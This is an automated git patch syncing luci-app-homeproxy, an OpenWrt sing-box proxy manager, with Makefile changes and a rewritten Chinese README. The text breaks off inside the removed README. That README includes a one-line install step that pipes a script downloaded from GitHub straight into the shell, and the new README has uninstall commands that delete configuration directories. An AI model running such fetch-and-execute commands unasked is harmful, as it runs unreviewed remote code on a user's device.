From ac76f4cbc9b0468e0fe1b0ddc2381f45c3824205 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 15 Sep 2026 11:19:33 +0800 Subject: [PATCH] =?UTF-8?q?=F0=9F=8E=A8=20Sync=202026-09-15=2011:19:33?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- luci-app-homeproxy/.gitignore | 30 - luci-app-homeproxy/Makefile | 21 +- luci-app-homeproxy/README | 1 - luci-app-homeproxy/README.md | 416 +- .../security/OUTBOUND_TAG_RENAME_DESIGN.md | 436 - .../docs/security/SECURITY_AUDIT_CHECKLIST.md | 138 - .../docs/security/SECURITY_AUDIT_FINAL.md | 686 -- .../security/SECURITY_FIXES_IMPLEMENTATION.md | 976 --- .../htdocs/luci-static/resources/homeproxy.js | 419 +- .../resources/homeproxy/dashboard.js | 105 - .../resources/homeproxy/diagnostics.js | 27 - .../resources/homeproxy/node-filter.js | 90 - .../resources/homeproxy/routing-node.js | 104 - .../luci-static/resources/homeproxy/tcping.js | 339 - .../resources/view/homeproxy/backup.js | 221 - .../resources/view/homeproxy/client.js | 1221 ++- .../resources/view/homeproxy/node.js | 1057 ++- .../resources/view/homeproxy/server.js | 11 +- .../resources/view/homeproxy/status.js | 112 +- luci-app-homeproxy/install.sh | 92 - luci-app-homeproxy/po/templates/homeproxy.pot | 2438 +++--- luci-app-homeproxy/po/zh_Hans/homeproxy.po | 2539 +++--- luci-app-homeproxy/root/etc/config/homeproxy | 50 +- .../etc/homeproxy/resources/china_ip4.txt | 7024 +++++++++++------ .../etc/homeproxy/resources/china_ip4.ver | 2 +- .../etc/homeproxy/resources/china_ip6.txt | 4064 ++++++++-- .../etc/homeproxy/resources/china_ip6.ver | 2 +- .../etc/homeproxy/resources/china_list.txt | 3161 ++++---- .../etc/homeproxy/resources/china_list.ver | 2 +- .../root/etc/homeproxy/resources/gfw_list.txt | 45 +- .../root/etc/homeproxy/resources/gfw_list.ver | 2 +- .../root/etc/homeproxy/scripts/clash_api.uc | 116 - .../etc/homeproxy/scripts/clash_api_proxy.uc | 963 --- .../etc/homeproxy/scripts/firewall_post.ut | 18 +- .../etc/homeproxy/scripts/firewall_pre.uc | 5 +- .../etc/homeproxy/scripts/generate_client.uc | 1037 +-- .../etc/homeproxy/scripts/generate_server.uc | 2 +- .../root/etc/homeproxy/scripts/homeproxy.uc | 39 +- .../etc/homeproxy/scripts/migrate_config.uc | 253 +- .../root/etc/homeproxy/scripts/node_filter.uc | 235 - .../etc/homeproxy/scripts/node_references.uc | 362 - .../etc/homeproxy/scripts/outbound_tag.uc | 290 - .../etc/homeproxy/scripts/routing_target.uc | 249 - .../homeproxy/scripts/subscription_parsers.uc | 219 - .../etc/homeproxy/scripts/update_provider.sh | 46 + .../etc/homeproxy/scripts/update_resources.sh | 65 +- .../etc/homeproxy/scripts/update_rulesets.sh | 10 + .../homeproxy/scripts/update_subscriptions.uc | 1327 +++- luci-app-homeproxy/root/etc/init.d/homeproxy | 154 +- .../root/etc/uci-defaults/luci-homeproxy | 30 + .../etc/uci-defaults/luci-homeproxy-migration | 0 .../share/luci/menu.d/luci-app-homeproxy.json | 8 - .../share/rpcd/acl.d/luci-app-homeproxy.json | 43 +- .../root/usr/share/rpcd/ucode/luci.homeproxy | 1232 ++- .../share/rpcd/ucode/luci.homeproxy_backup | 553 -- .../rpcd/ucode/luci.homeproxy_node_tools | 270 - .../share/rpcd/ucode/luci.homeproxy_tcping | 416 - .../tests/generator-golden/cases.json | 130 - .../tests/generator-golden/check_cases.js | 118 - .../fixtures/disabled-routing-node/case.json | 3 - .../expected/config-diagnostics.json | 9 - .../expected/sing-box-c.json | 98 - .../fixtures/disabled-routing-node/homeproxy | 39 - .../fixtures/duplicate-label/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../duplicate-label/expected/sing-box-c.json | 183 - .../fixtures/duplicate-label/homeproxy | 35 - .../case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 125 - .../homeproxy | 59 - .../fixtures/reserved-tag-label/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 164 - .../fixtures/reserved-tag-label/homeproxy | 23 - .../fixtures/routing-cycle/case.json | 3 - .../expected/config-diagnostics.json | 34 - .../fixtures/routing-cycle/homeproxy | 35 - .../routing-rule-direct-node/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 114 - .../routing-rule-direct-node/homeproxy | 40 - .../fixtures/selector-cycle/case.json | 3 - .../expected/config-diagnostics.json | 24 - .../fixtures/selector-cycle/homeproxy | 39 - .../fixtures/selector-manual-nodes/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 125 - .../fixtures/selector-manual-nodes/homeproxy | 49 - .../selector-references-urltest/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 145 - .../selector-references-urltest/homeproxy | 67 - .../fixtures/selector-regex-nodes/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 114 - .../fixtures/selector-regex-nodes/homeproxy | 56 - .../fixtures/shadowsocks-basic/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 164 - .../fixtures/shadowsocks-basic/homeproxy | 23 - .../fixtures/shadowsocks-shadowtls/case.json | 3 - .../expected/config-diagnostics.json | 4 - .../expected/sing-box-c.json | 178 - .../fixtures/shadowsocks-shadowtls/homeproxy | 29 - .../tests/generator-golden/run_cases.uc | 182 - 106 files changed, 17125 insertions(+), 19121 deletions(-) delete mode 100644 luci-app-homeproxy/.gitignore delete mode 100644 luci-app-homeproxy/README delete mode 100644 luci-app-homeproxy/docs/security/OUTBOUND_TAG_RENAME_DESIGN.md delete mode 100644 luci-app-homeproxy/docs/security/SECURITY_AUDIT_CHECKLIST.md delete mode 100644 luci-app-homeproxy/docs/security/SECURITY_AUDIT_FINAL.md delete mode 100644 luci-app-homeproxy/docs/security/SECURITY_FIXES_IMPLEMENTATION.md delete mode 100644 luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/dashboard.js delete mode 100644 luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/diagnostics.js delete mode 100644 luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/node-filter.js delete mode 100644 luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/routing-node.js delete mode 100644 luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/tcping.js delete mode 100644 luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/backup.js delete mode 100755 luci-app-homeproxy/install.sh delete mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api.uc delete mode 100755 luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api_proxy.uc mode change 100644 => 100755 luci-app-homeproxy/root/etc/homeproxy/scripts/homeproxy.uc delete mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/node_filter.uc delete mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/node_references.uc delete mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/outbound_tag.uc delete mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/routing_target.uc delete mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/subscription_parsers.uc create mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/update_provider.sh create mode 100644 luci-app-homeproxy/root/etc/homeproxy/scripts/update_rulesets.sh mode change 100644 => 100755 luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy mode change 100644 => 100755 luci-app-homeproxy/root/etc/uci-defaults/luci-homeproxy-migration delete mode 100644 luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_backup delete mode 100644 luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_node_tools delete mode 100644 luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_tcping delete mode 100644 luci-app-homeproxy/tests/generator-golden/cases.json delete mode 100755 luci-app-homeproxy/tests/generator-golden/check_cases.js delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/disabled-routing-node/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/duplicate-label/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/gfwlist-default-outbound-fallback/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/case.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/config-diagnostics.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/expected/sing-box-c.json delete mode 100644 luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-shadowtls/homeproxy delete mode 100644 luci-app-homeproxy/tests/generator-golden/run_cases.uc diff --git a/luci-app-homeproxy/.gitignore b/luci-app-homeproxy/.gitignore deleted file mode 100644 index 6ec0ac6f5..000000000 --- a/luci-app-homeproxy/.gitignore +++ /dev/null @@ -1,30 +0,0 @@ -# macOS -.DS_Store -.AppleDouble -.LSOverride - -# Thumbnails -._* - -# Files that might appear in the root of a volume -.DocumentRevisions-V100 -.fseventsd -.Spotlight-V100 -.TemporaryItems -.Trashes -.VolumeIcon.icns -.com.apple.timemachine.donotpresent - -# Directories potentially created on remote AFP share -.AppleDB -.AppleDesktop -Network Trash Folder -Temporary Items -.apdisk - -# Editor directories and files -.vscode/ -.idea/ -*.swp -*.swo -*~ diff --git a/luci-app-homeproxy/Makefile b/luci-app-homeproxy/Makefile index 186beaaa7..941c3be24 100644 --- a/luci-app-homeproxy/Makefile +++ b/luci-app-homeproxy/Makefile @@ -4,17 +4,28 @@ include $(TOPDIR)/rules.mk -LUCI_TITLE:=The modern ImmortalWrt proxy platform for ARM64/AMD64 +PKG_NAME:=luci-app-homeproxy +PKG_VERSION:=2.0.0 +PKG_RELEASE:=12 + +LUCI_TITLE:=Sing-box proxy management platform for OpenWrt LUCI_PKGARCH:=all LUCI_DEPENDS:= \ +sing-box \ +firewall4 \ + +dnsmasq-full \ + +ip-full \ + +kmod-tun \ +kmod-nft-tproxy \ + +ca-bundle \ + +curl \ + +jsonfilter \ + +unzip \ +ucode-mod-digest \ - +ucode-mod-socket \ - +ucode-mod-uloop - -PKG_NAME:=luci-app-homeproxy + +ucode-mod-fs \ + +ucode-mod-math \ + +ucode-mod-ubus \ + +ucode-mod-uci define Package/luci-app-homeproxy/conffiles /etc/config/homeproxy diff --git a/luci-app-homeproxy/README b/luci-app-homeproxy/README deleted file mode 100644 index 95053dbcb..000000000 --- a/luci-app-homeproxy/README +++ /dev/null @@ -1 +0,0 @@ -See README.md. diff --git a/luci-app-homeproxy/README.md b/luci-app-homeproxy/README.md index fd1207936..e1b1f3adf 100644 --- a/luci-app-homeproxy/README.md +++ b/luci-app-homeproxy/README.md @@ -1,384 +1,68 @@ -![GitHub License](https://img.shields.io/github/license/itv3/homeproxy?style=for-the-badge&logo=github) -![GitHub Release](https://img.shields.io/github/v/release/itv3/homeproxy?style=for-the-badge&logo=github) -![GitHub Downloads](https://img.shields.io/github/downloads/itv3/homeproxy/total?style=for-the-badge&logo=github) - -# HomeProxy Custom - -这是基于 [immortalwrt/homeproxy](https://github.com/immortalwrt/homeproxy) 的个人自定义版本。 - -当前维护分支:[`master`](https://github.com/itv3/homeproxy/tree/master) - -适用环境: - -- ImmortalWrt / OpenWrt 使用 `apk` 包管理器的版本 -- 已启用 firewall4 -- 已安装或可从系统源安装 `sing-box` - -已在以下环境验证: - -- ImmortalWrt 25.12.0 -- sing-box 1.12.25 -- apk-tools 3.0.5 - -## 与上游的关系 - -上游原版仓库: - - - -本仓库只维护个人使用所需的增强功能,尽量跟随上游代码。上游 HomeProxy 更新后,需要把上游变更合并到本分支,再重新构建自定义 APK。 - -## 优化内容 - -1. 支持 SS2022 + ShadowTLS 类型节点 - - - Shadowsocks 节点页面增加 `启用 ShadowTLS`。 - - 勾选后显示 ShadowTLS 地址、端口、密码、伪装 SNI、版本。 - - 生成 sing-box 配置时使用 Shadowsocks outbound + ShadowTLS detour。 - -2. 添加 Selector 类型路由节点 - - - 路由节点类型新增 `Selector`:可包含具体代理节点、已有路由节点。 - - `Selector` / `URLTest` 路由节点支持“节点正则”,可按代理节点标签自动筛选节点,并与手选节点合并去重。 - - LuCI 会预览正则命中后的生效节点,便于确认实际进入路由节点的代理列表。 - - 增加递归引用检查,避免路由节点互相引用形成循环。 - -3. 节点页 / 订阅页添加测速按钮 - - - 基于 sing-box Clash API `/proxies/{tag}/delay`,默认使用 `https://www.gstatic.com/generate_204` 测试延迟。 - - 页面顶部测速按钮可对当前页面节点发起批量测速。 - - 单击节点延迟可对该节点单独测速。 - - 测速基于当前运行配置;若希望订阅节点可测速,请通过节点正则 `.*` 或其他表达式将其加入运行节点组。 - -4. 路由规则直选节点 - - - 路由规则出站可以直接选择某个具体代理节点。 - - 生成器会自动补齐该节点需要的 sing-box outbound。 - -5. HomeProxy 配置备份 / 恢复 - - - HomeProxy 菜单下新增 `备份 / 恢复` 页面。 - - 导出:`/etc/config/homeproxy`、`/etc/homeproxy/resources/direct_list.txt`、`/etc/homeproxy/resources/proxy_list.txt` 以及用户上传到 `/etc/homeproxy/certs/` 的证书和私钥文件。 - - 导入时只接受上述 HomeProxy 源配置路径,恢复前会生成 `/tmp/homeproxy-rollback.tar.gz` 便于回滚。 - -6. 添加 MetaCubeXD 面板入口 - - - 默认开启 Clash API,并添加 HomeProxy 面板代理,用于隐藏 SS2022 + ShadowTLS 生成链路中的中间层节点 `cfg-xxx-out-shadowtls`。 - - 客户端页面添加 `MetaCubeXD 面板` 按钮。 - - 默认跳转到 [https://metacubexd.pages.dev/#/overview](https://metacubexd.pages.dev/#/overview),跳转时自动带入 HomeProxy 面板代理的 host、port、secret 等参数。 - - 使用远程 MetaCubeXD 面板时,Clash API secret 会提供给该网页;安全要求较高时建议使用自建面板或本地面板。 - - 可通过 MetaCubeXD 面板切换节点、测速、查看连接状态等。 - -7. 运行时 outbound tag 映射为节点真实名称 - - - 生成 sing-box 配置时,将运行时 outbound tag 从 `cfg-
-out` 映射为节点 `label`。 - - MetaCubeXD / Yacd / Clash API / LuCI 节点测速会显示真实节点名称,便于识别和排障。 - - 同名节点、保留 tag、内部 `cfg-*` 命名空间冲突时,会生成稳定后缀,避免重复 tag。 - - ShadowTLS 中间层会同步映射,且仍由 HomeProxy 面板代理隐藏。 - -8. 订阅导入和运行兜底增强 - - - 订阅更新支持识别 Surge / Clash 托管配置中的 `proxies:` 节点列表。 - - 订阅节点带 TLS 证书指纹但当前 sing-box 不支持时,默认跳过并写入诊断;可显式开启兼容回退。 - - 删除失效订阅节点时,会同步清理主节点、路由节点、路由规则、DNS、规则集中的引用。 - - 非 `custom` 路由模式下,主节点为空时可回退使用 `routing.default_outbound`。 - - 订阅拉取失败时会记录诊断;`wget` 会在普通拉取失败后尝试 IPv4 回退。 - - 订阅更新的重启语义与 `update_via_proxy` 有关:未启用“使用代理更新”时,成功更新后会重启 HomeProxy;启用后,只有节点新增、更新、删除,或主节点 / 主 UDP 节点因失效订阅节点被清空时才重启。完全没有可用节点时只记录失败状态和诊断;脚本异常时会按兜底逻辑重启服务。 - -9. 自定义 Release 自动发布 - - - push 到 `master` 后自动构建 APK/IPK artifact,用于检查构建是否成功。 - - 打 `custom-*` tag 后会现场构建内置中文翻译的签名 APK 和 v3 软件源索引,并自动发布到 GitHub Releases。 - - 一键安装会自动导入公钥、配置软件源并安装 / 升级 HomeProxy。 - -10. 定时检查上游更新 - - - GitHub Actions 每天检查一次 `immortalwrt/homeproxy:master`。 - - 如果上游有新提交,会创建或更新带 `upstream-update` 标签的 Issue。 - - 检查只负责提醒,不会自动合并代码,也不会自动发布新 APK。 - -## 安装和更新 - -### 安装场景 - -`homeproxy-custom` 是本仓库发布的自定义 HomeProxy 包,用于替换上游 `luci-app-homeproxy`,不是和原版并存的第二套 HomeProxy。 - -- 从未安装过 HomeProxy:可以直接安装 `homeproxy-custom`。 -- 已安装上游 `luci-app-homeproxy`:安装 `homeproxy-custom` 会替换原版文件,原配置 `/etc/config/homeproxy` 会按包管理器规则保留。 -- 已删除上游 `luci-app-homeproxy`:可以直接安装 `homeproxy-custom`。 -- 简体中文翻译已经内置,不需要再安装 `luci-i18n-homeproxy-zh-cn`。 - -### A. 一键安装(推荐) - -适合全新安装、升级,以及从原版 HomeProxy 迁移: +适用于 OpenWrt 24.10 的 HomeProxy LuCI 管理界面,按 `官方内核sing-box 1.13.13` 进行二次定制适配,在官方内核基础上增加功能: +1、远程规则集本地持久化 +2、Clash API 代理供应商 +3、Clash API 中文名称 +## 一、安装 +上传 zip 到 OpenWrt /tmp目录后解压并执行(文件名homeproxy-2.0.1-x86_64.zip自行替换): ```sh -wget -O - https://github.com/itv3/homeproxy/raw/refs/heads/master/install.sh | ash +cd /tmp +unzip homeproxy-2.0.1-x86_64.zip +cd homeproxy-2.0.1-x86_64 +sh install.sh ``` -脚本会自动导入公钥、添加软件源、更新索引并安装 / 升级 `homeproxy-custom`。如果软件源安装失败,会自动回退到直接 APK 安装。 - -### B. WebUI 软件源安装 / 升级 - -1. 下载 latest release 中的 `homeproxy-custom.pem`。 -2. 进入 OpenWrt WebUI:`系统 -> 管理权 -> 软件包仓库公钥`,把 `homeproxy-custom.pem` 文件拖进输入框,添加软件包仓库公钥。 -3. 进入 `系统 -> 软件包 -> 配置 apk`,在 `/etc/apk/repositories.d/customfeeds.list` 输入框内追加: - -```text -https://github.com/itv3/homeproxy/releases/latest/download/Packages.adb -``` - -4. 回到 `系统 -> 软件包` 页面,点击 `更新列表`,搜索 `homeproxy-custom` 安装。 -5. 以后有新版本,更新列表后可在这个页面直接升级 `homeproxy-custom`。 - -### C. 手动上传 APK 安装 / 升级(备选) - -1. 先按上面的方式添加 `homeproxy-custom.pem` 公钥。 -2. 下载 latest release 中的 `homeproxy-custom_all.apk`。 -3. 进入 `系统 -> 软件包`,上传 `homeproxy-custom_all.apk` 安装 / 升级。 - -如果从旧的 `luci-app-homeproxy` 迁移时遇到 `breaks: world[luci-app-homeproxy><...]` 报错,请使用一键安装命令完成迁移。 - -### D. SSH 软件源安装 / 升级 - -也可以手动添加软件源文件: - +## 二、卸载 ```sh -wget -O /etc/apk/keys/homeproxy-custom.pem https://github.com/itv3/homeproxy/releases/latest/download/homeproxy-custom.pem -printf '%s\n' 'https://github.com/itv3/homeproxy/releases/latest/download/Packages.adb' > /etc/apk/repositories.d/homeproxy-custom.list -apk update -apk del luci-i18n-homeproxy-zh-cn 2>/dev/null || true -apk add homeproxy-custom +/etc/init.d/homeproxy stop 2>/dev/null || true +/etc/init.d/homeproxy disable 2>/dev/null || true +opkg remove luci-i18n-homeproxy-zh-cn 2>/dev/null || true +opkg remove luci-app-homeproxy 2>/dev/null || true +rm -rf /etc/config/homeproxy +rm -rf /etc/homeproxy +rm -rf /usr/share/homeproxy +rm -rf /www/luci-static/resources/view/homeproxy +rm -f /www/luci-static/resources/homeproxy.js +rm -f /usr/share/luci/menu.d/luci-app-homeproxy.json +rm -f /usr/share/rpcd/acl.d/luci-app-homeproxy.json +rm -f /usr/share/rpcd/ucode/luci.homeproxy +rm -f /tmp/luci-indexcache +rm -rf /tmp/luci-modulecache/* +/etc/init.d/rpcd restart +/etc/init.d/uhttpd restart ``` -清理升级产生的 `.apk-new` 文件: +## 三、维护工作流 +- `Rescan-Translation.yml`:代码变更后自动重新扫描并更新翻译文件,也支持手动运行。 +- `Update-Geodata.yml`:每周自动更新内置 geodata 资源,也支持手动运行。 +## 四、常见问题 +1、面版下载失败解决办法 +第一种:面版设置-UI下载地址,下拉选择需要的UI,点击更新面版手动触发面版下载。 +第二种:下载面版ZIP包,手动上传面版ZIP,下载地址如下。 +镜像 ```sh -find /etc/homeproxy /etc/config -name "*.apk-new" -exec rm -f {} \; 2>/dev/null || true +https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip ``` - -重启服务: - +或者直连 ```sh -/etc/init.d/homeproxy restart +https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip ``` +2、远程规则集是否下载成功判断 +连接SSH查看/etc/homeproxy/ruleset/目录下是否有规则集文件,有则表示下载成功,反之则没下载成功,检查规则集远程连接。 -## 给开发者 / AI 的维护说明 - -只看本 README 应该能完成一次新功能开发和发布。当前自定义版主要涉及下面几类文件: - -```text -htdocs/luci-static/resources/view/homeproxy/client.js # 客户端页面、路由节点、路由规则接入 -htdocs/luci-static/resources/view/homeproxy/node.js # 节点页面、SS2022 + ShadowTLS 表单接入 -htdocs/luci-static/resources/view/homeproxy/backup.js # HomeProxy 源配置备份 / 恢复页面 -htdocs/luci-static/resources/homeproxy/dashboard.js # MetaCubeXD 面板入口 helper -htdocs/luci-static/resources/homeproxy/diagnostics.js # 配置诊断前端 helper -htdocs/luci-static/resources/homeproxy/node-filter.js # 节点正则预览前端 helper -htdocs/luci-static/resources/homeproxy/routing-node.js # 路由节点前端 helper -htdocs/luci-static/resources/homeproxy/tcping.js # 节点测速前端 helper -root/etc/homeproxy/scripts/generate_client.uc # 生成 sing-box 客户端配置 -root/etc/homeproxy/scripts/clash_api.uc # Clash API controller 地址解析和本机地址归一化 helper -root/etc/homeproxy/scripts/clash_api_proxy.uc # MetaCubeXD 读取用 Clash API 过滤代理 -root/etc/homeproxy/scripts/homeproxy.uc # 公共工具函数和订阅下载 helper -root/etc/homeproxy/scripts/migrate_config.uc # 旧配置迁移和默认配置补齐 -root/etc/homeproxy/scripts/node_filter.uc # 节点正则限制 helper -root/etc/homeproxy/scripts/node_references.uc # 节点引用收集和删除订阅节点清理 -root/etc/homeproxy/scripts/outbound_tag.uc # outbound tag 映射和去重 -root/etc/homeproxy/scripts/routing_target.uc # 路由节点解析 helper -root/etc/homeproxy/scripts/subscription_parsers.uc # Surge / Clash 托管配置 parser -root/etc/homeproxy/scripts/update_subscriptions.uc # 订阅导入、节点增删改和重启调度 -root/etc/homeproxy/scripts/firewall_pre.uc # TUN 启动前置规则 -root/etc/homeproxy/scripts/firewall_post.ut # nftables 规则模板 -root/etc/init.d/homeproxy # procd 启动、TProxy/TUN 路由和面板代理实例 -root/etc/config/homeproxy # 新安装时的默认配置 -root/usr/share/rpcd/ucode/luci.homeproxy # HomeProxy 基础 RPC -root/usr/share/rpcd/ucode/luci.homeproxy_backup # HomeProxy 备份 / 恢复 RPC -root/usr/share/rpcd/ucode/luci.homeproxy_node_tools # 节点引用、节点正则预览、订阅更新和诊断 RPC -root/usr/share/rpcd/ucode/luci.homeproxy_tcping # 节点测速 RPC -tests/generator-golden # 生成器 golden fixture 和目标机运行器 -docs/security/OUTBOUND_TAG_RENAME_DESIGN.md # outbound tag 可读化长期设计记录 -.github/build-ipk.sh # APK/IPK 打包脚本 -.github/workflows/build-ipk.yml # push / PR 后自动构建 APK/IPK artifact -.github/workflows/release-custom-apk.yml # tag 后现场构建 APK 并发布 GitHub Release -.github/workflows/check-upstream.yml # 定时检查上游是否有新提交 -install.sh # 路由器一键安装脚本 -``` - -### 开发新功能 - +3、安装新包后如果页面仍显示旧文字,建议清浏览器缓存,或执行: ```sh -git clone git@github.com:itv3/homeproxy.git -cd homeproxy -git checkout master -git remote add upstream https://github.com/immortalwrt/homeproxy.git 2>/dev/null || true -git fetch origin -git fetch upstream +rm -f /tmp/luci-indexcache +rm -rf /tmp/luci-modulecache/* +/etc/init.d/rpcd restart +/etc/init.d/uhttpd restart ``` -修改代码后先做基本检查: +## 五、感谢作者 +immortalwrt +https://github.com/immortalwrt/homeproxy -```sh -git diff --check -sh -n install.sh -node tests/generator-golden/check_cases.js -``` +VIKINGYFY +https://github.com/VIKINGYFY/homeproxy -如果改了 `generate_client.uc`,还需要在带 `ucode` 的 OpenWrt/ImmortalWrt 目标机上运行完整 golden fixture。CI 的 `Build ipk for HomeProxy` 也会在 OpenWrt rootfs 容器中执行这一步: - -```sh -ucode -S tests/generator-golden/run_cases.uc tests/generator-golden -``` - -如果改了 GitHub Actions workflow,可额外检查 YAML: - -```sh -ruby -e 'require "yaml"; Dir[".github/workflows/*.yml"].each { |f| YAML.load_file(f) }; puts "yaml ok"' -``` - -提交并推送: - -```sh -git add -git commit -m "feat: describe the change" -git push origin master -``` - -推送后 GitHub Actions 会自动构建 APK/IPK artifact,用来确认代码能正常打包。这个构建不会再提交 `dist/` 文件。 - -进入 GitHub `Actions` 页面确认 `Build ipk for HomeProxy` 成功后,再发布 Release。 - -### 发布新版本 - -tag 必须打在要发布的源码提交上。推荐格式: - -```sh -FEATURE_SHA="$(git rev-parse --short HEAD)" -TAG="custom-$(date +%Y%m%d)-${FEATURE_SHA}" -git tag -a "$TAG" -m "HomeProxy Custom ${TAG#custom-}" -git push origin "$TAG" -``` - -推送 tag 后,`Release custom APK` workflow 会现场构建内置中文翻译的签名 APK 和软件源索引,创建 GitHub Release,并上传: - -```text -homeproxy-custom_all.apk -Packages.adb -homeproxy-custom.pem -``` - -Release 标题、APK 软件包版本和软件源描述会把 tag 中的 `YYYYMMDD-短SHA` 转成 `YYYYMMDD.HHMMSS~短SHA`,其中 `HHMMSS` 取 tag 指向提交的北京时间提交时间,例如 `custom-20260615-1b55552` 会显示为 `20260615.141105~1b55552`。日期后的时间段保证同一天连续发布时 apk-tools 能正确判断新版本大于旧版本;`~短SHA` 只作为展示和追踪用的提交标识。 - -发布后检查: - -```sh -curl -fsSL https://api.github.com/repos/itv3/homeproxy/releases/latest \ - | jq -r '.tag_name, .assets[].name, .assets[].digest' -``` - -## HomeProxy 上游更新后怎么办 - -不要直接用上游包覆盖本自定义包。上游更新提醒由 `.github/workflows/check-upstream.yml` 负责: - -- 每天北京时间 10:00 自动检查一次。 -- 也可以在 GitHub 